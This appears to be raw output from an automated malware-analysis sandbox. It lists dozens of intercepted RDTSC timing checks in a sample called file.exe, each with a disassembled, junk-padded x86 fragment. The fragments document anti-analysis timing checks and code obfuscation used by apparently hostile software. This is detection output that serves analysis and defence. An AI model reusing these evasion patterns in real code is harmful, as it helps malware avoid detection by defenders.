Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10681C2 second address: 10681CC instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2E405325D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1068C91 second address: 1068C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069788 second address: 106978C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106978C second address: 10697AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2E40BD86A4h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106AC66 second address: 106AC84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E405325E9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106AC84 second address: 106ACAA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2E40BD86A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F2E40BD8696h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107183C second address: 1071840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10747CB second address: 1074857 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F2E40BD8696h 0x00000009 jng 00007F2E40BD8696h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], eax 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F2E40BD8698h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f call 00007F2E40BD86A3h 0x00000034 jg 00007F2E40BD869Ah 0x0000003a pop ebx 0x0000003b sub dword ptr [ebp+1245BDD3h], edi 0x00000041 push 00000000h 0x00000043 mov bx, si 0x00000046 push 00000000h 0x00000048 jmp 00007F2E40BD869Bh 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F2E40BD86A9h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1074857 second address: 1074861 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2E405325D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10758F9 second address: 1075911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E40BD86A3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076A19 second address: 1076A1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107399F second address: 10739A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10739A3 second address: 10739A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10739A9 second address: 10739B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F2E40BD8696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10739B3 second address: 10739C0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1076BCC second address: 1076BD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F2E40BD8696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107894B second address: 1078951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077B02 second address: 1077B8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD869Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D2A25h], ecx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov dword ptr [ebp+122D1EFEh], edx 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 clc 0x00000027 sub edi, dword ptr [ebp+1245BDD3h] 0x0000002d mov eax, dword ptr [ebp+122D11C1h] 0x00000033 push 00000000h 0x00000035 push ebx 0x00000036 call 00007F2E40BD8698h 0x0000003b pop ebx 0x0000003c mov dword ptr [esp+04h], ebx 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc ebx 0x00000049 push ebx 0x0000004a ret 0x0000004b pop ebx 0x0000004c ret 0x0000004d mov dword ptr [ebp+122DB2C1h], edi 0x00000053 push FFFFFFFFh 0x00000055 push 00000000h 0x00000057 push ebp 0x00000058 call 00007F2E40BD8698h 0x0000005d pop ebp 0x0000005e mov dword ptr [esp+04h], ebp 0x00000062 add dword ptr [esp+04h], 00000014h 0x0000006a inc ebp 0x0000006b push ebp 0x0000006c ret 0x0000006d pop ebp 0x0000006e ret 0x0000006f mov dword ptr [ebp+124557F5h], edx 0x00000075 nop 0x00000076 pushad 0x00000077 push eax 0x00000078 push edx 0x00000079 push edi 0x0000007a pop edi 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1077B8B second address: 1077B99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F2E405325D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10798C4 second address: 10798CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10798CA second address: 10798CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107C97D second address: 107C987 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2E40BD869Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107AAA7 second address: 107AAC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F2E405325DCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107BB90 second address: 107BB94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107ABD7 second address: 107ABEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2E405325E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107ABEE second address: 107ABFB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EBF6 second address: 107EC5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jg 00007F2E405325D6h 0x0000000f popad 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 mov bx, CA1Dh 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F2E405325D8h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 00000015h 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 mov ebx, dword ptr [ebp+122D3547h] 0x0000003a push ecx 0x0000003b or edi, dword ptr [ebp+122D21F9h] 0x00000041 pop edi 0x00000042 push 00000000h 0x00000044 jo 00007F2E405325DCh 0x0000004a mov ebx, dword ptr [ebp+122D1B5Fh] 0x00000050 xchg eax, esi 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F2E405325DEh 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DD45 second address: 107DD4F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2E40BD8696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107ED5E second address: 107ED64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F9AA second address: 107FA06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a jnc 00007F2E40BD8696h 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 pop ebx 0x00000014 nop 0x00000015 mov edi, edx 0x00000017 sub dword ptr [ebp+122D26B5h], esi 0x0000001d push 00000000h 0x0000001f mov dword ptr [ebp+122D2214h], edi 0x00000025 mov ebx, dword ptr [ebp+122D3703h] 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ebp 0x00000030 call 00007F2E40BD8698h 0x00000035 pop ebp 0x00000036 mov dword ptr [esp+04h], ebp 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc ebp 0x00000043 push ebp 0x00000044 ret 0x00000045 pop ebp 0x00000046 ret 0x00000047 mov dword ptr [ebp+122D2220h], eax 0x0000004d push eax 0x0000004e pushad 0x0000004f push edi 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107ED64 second address: 107EDF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ebx, 11E91145h 0x0000000e push dword ptr fs:[00000000h] 0x00000015 adc bx, B9B8h 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 call 00007F2E405325D8h 0x00000029 pop eax 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc eax 0x00000037 push eax 0x00000038 ret 0x00000039 pop eax 0x0000003a ret 0x0000003b mov dword ptr [ebp+122D2688h], edx 0x00000041 mov eax, dword ptr [ebp+122D0BDDh] 0x00000047 xor dword ptr [ebp+122D2715h], esi 0x0000004d push FFFFFFFFh 0x0000004f push 00000000h 0x00000051 push edi 0x00000052 call 00007F2E405325D8h 0x00000057 pop edi 0x00000058 mov dword ptr [esp+04h], edi 0x0000005c add dword ptr [esp+04h], 0000001Bh 0x00000064 inc edi 0x00000065 push edi 0x00000066 ret 0x00000067 pop edi 0x00000068 ret 0x00000069 mov edi, esi 0x0000006b nop 0x0000006c pushad 0x0000006d jmp 00007F2E405325E0h 0x00000072 push eax 0x00000073 push edx 0x00000074 push ebx 0x00000075 pop ebx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EDF0 second address: 107EDF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EDF4 second address: 107EE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107EE01 second address: 107EE05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083E68 second address: 1083E6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CD79 second address: 101CDA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F2E40BD86A2h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F2E40BD869Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CDA3 second address: 101CDA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CDA9 second address: 101CDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101CDAD second address: 101CDB9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2E405325D6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D447 second address: 108D44D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D44D second address: 108D48C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F2E405325E5h 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D48C second address: 108D4A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F2E40BD869Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D4A2 second address: 108D4BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D4BF second address: 108D4C9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2E40BD8696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10913C8 second address: 10913CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1091A45 second address: 1091A5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F2E40BD8696h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jg 00007F2E40BD8696h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10921F3 second address: 10921FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10921FB second address: 1092201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092201 second address: 1092209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092209 second address: 1092211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10924FC second address: 1092512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 je 00007F2E405325D8h 0x0000000b pushad 0x0000000c jno 00007F2E405325D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092512 second address: 1092520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F2E40BD8696h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092520 second address: 1092526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1098CD1 second address: 1098CDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F2E40BD8696h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D9F0 second address: 109D9F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106DD3B second address: 106DD3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106DD3F second address: 106DD8C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jmp 00007F2E405325E3h 0x0000000d nop 0x0000000e sbb ecx, 5CBB7A6Ch 0x00000014 lea eax, dword ptr [ebp+12491B3Ch] 0x0000001a pushad 0x0000001b add al, 0000001Ah 0x0000001e jmp 00007F2E405325E5h 0x00000023 popad 0x00000024 nop 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 ja 00007F2E405325D6h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106DD8C second address: 106DDA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106DDA0 second address: 106DDC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2E405325E1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106DDC6 second address: 106DDCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E212 second address: 106E216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E216 second address: 106E21A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E21A second address: 106E220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E220 second address: 106E226 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E3D0 second address: 106E44F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov eax, dword ptr [eax] 0x0000000c jp 00007F2E405325E0h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 jmp 00007F2E405325DFh 0x0000001b pop eax 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F2E405325D8h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 xor dword ptr [ebp+122D27B9h], edx 0x0000003c mov ecx, dword ptr [ebp+122D1BCBh] 0x00000042 call 00007F2E405325D9h 0x00000047 push eax 0x00000048 push edx 0x00000049 jg 00007F2E405325DCh 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E44F second address: 106E472 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2E40BD8698h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F2E40BD86A2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E472 second address: 106E487 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E405325E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E487 second address: 106E4B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD869Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F2E40BD869Fh 0x00000015 jg 00007F2E40BD8696h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109DEBD second address: 109DEC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E017 second address: 109E02D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E40BD869Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E02D second address: 109E031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E031 second address: 109E03F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F2E40BD869Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E199 second address: 109E1A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F2E405325DAh 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E2E3 second address: 109E2F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E59A second address: 109E5A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F2E405325D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E791 second address: 109E7C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD86A8h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F2E40BD86A0h 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E7C9 second address: 109E7CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2044 second address: 10A2058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2E40BD869Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2058 second address: 10A2063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A2063 second address: 10A207E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2E40BD869Eh 0x00000007 jns 00007F2E40BD8696h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6687 second address: 10A6692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F2E405325D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6692 second address: 10A669C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
